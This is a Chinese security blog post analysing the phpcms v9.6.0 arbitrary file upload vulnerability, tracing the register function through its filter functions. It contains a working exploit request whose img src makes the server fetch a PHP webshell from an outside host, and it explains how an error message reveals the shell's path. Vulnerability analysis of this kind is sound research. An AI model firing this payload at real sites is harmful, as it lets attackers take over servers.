老洞新谈之phpcms v9.6.0任意文件上传漏洞

  • A+
所属分类:安全文章


PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问


老洞新谈之phpcms v9.6.0任意文件上传漏洞


常见的payload如下:


index.php?m=member&c=index&a=register&siteid=1
post数据:siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1


对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


经过new_html_special_chars函数的转换之后,new_html_special_chars函数位于phpcms/libs/functions/global.func.php中


function new_html_special_chars($string) {  $encoding = 'utf-8';  if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';  if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);  foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);  return $string;}


然后来到$member_input->get,

其位于caches/caches_model/caches_data/member_input.class.php


老洞新谈之phpcms v9.6.0任意文件上传漏洞


然后数据进入到 trim_script中,

函数位于phpcms/libs/functions/global.func.php中


function trim_script($str) {  if(is_array($str)){    foreach ($str as $key => $val){      $str[$key] = trim_script($val);    }   }else{     $str = preg_replace ( '/<([/]?)script([^>]*?)>/si', '&lt;\1script\2&gt;', $str );    $str = preg_replace ( '/<([/]?)iframe([^>]*?)>/si', '&lt;\1iframe\2&gt;', $str );    $str = preg_replace ( '/<([/]?)frame([^>]*?)>/si', '&lt;\1frame\2&gt;', $str );    $str = str_replace ( 'javascript:', 'javascript:', $str );   }  return $str;}


继续往下跟,继续进入到一个安全过滤函数safe_replace之中:


function safe_replace($string) {  $string = str_replace('%20','',$string);  $string = str_replace('%27','',$string);  $string = str_replace('%2527','',$string);  $string = str_replace('*','',$string);  $string = str_replace('"','&quot;',$string);  $string = str_replace("'",'',$string);  $string = str_replace('"','',$string);  $string = str_replace(';','',$string);  $string = str_replace('<','&lt;',$string);  $string = str_replace('>','&gt;',$string);  $string = str_replace("{",'',$string);  $string = str_replace('}','',$string);  $string = str_replace('\','',$string);  return $string;}


然后走到:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


而根据提示所致知我们需要进入到editor函数之中:



老洞新谈之phpcms v9.6.0任意文件上传漏洞


然后进入$this->attachment->download,

在下载之前会先被 new_stripslashes所过滤:


function new_stripslashes($string) {  if(!is_array($string)) return stripslashes($string);  foreach($string as $key => $val) $string[$key] = new_stripslashes($val);  return $string;}


然后进入正则匹配:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


匹配后会进行文件夹的设置等,最后进入 fillurl中:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


最后的url变成了下面这样:



老洞新谈之phpcms v9.6.0任意文件上传漏洞


这也是为什么payload中要加.png和#的原因。下面继续走则会调用copy


老洞新谈之phpcms v9.6.0任意文件上传漏洞


而最后经过add实现文件写入:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


然后回到注册函数中,会进行插入操作:


老洞新谈之phpcms v9.6.0任意文件上传漏洞


也就是向v9_member_detail的content和userid两列插入数据,而由因为表中没有content列,则会出现报错将shell的路径返回给我们。


参考文章:

https://paper.seebug.org/273/

https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md


     ▼
更多精彩推荐,请关注我们

老洞新谈之phpcms v9.6.0任意文件上传漏洞



本文始发于微信公众号(鸿鹄实验室):老洞新谈之phpcms v9.6.0任意文件上传漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: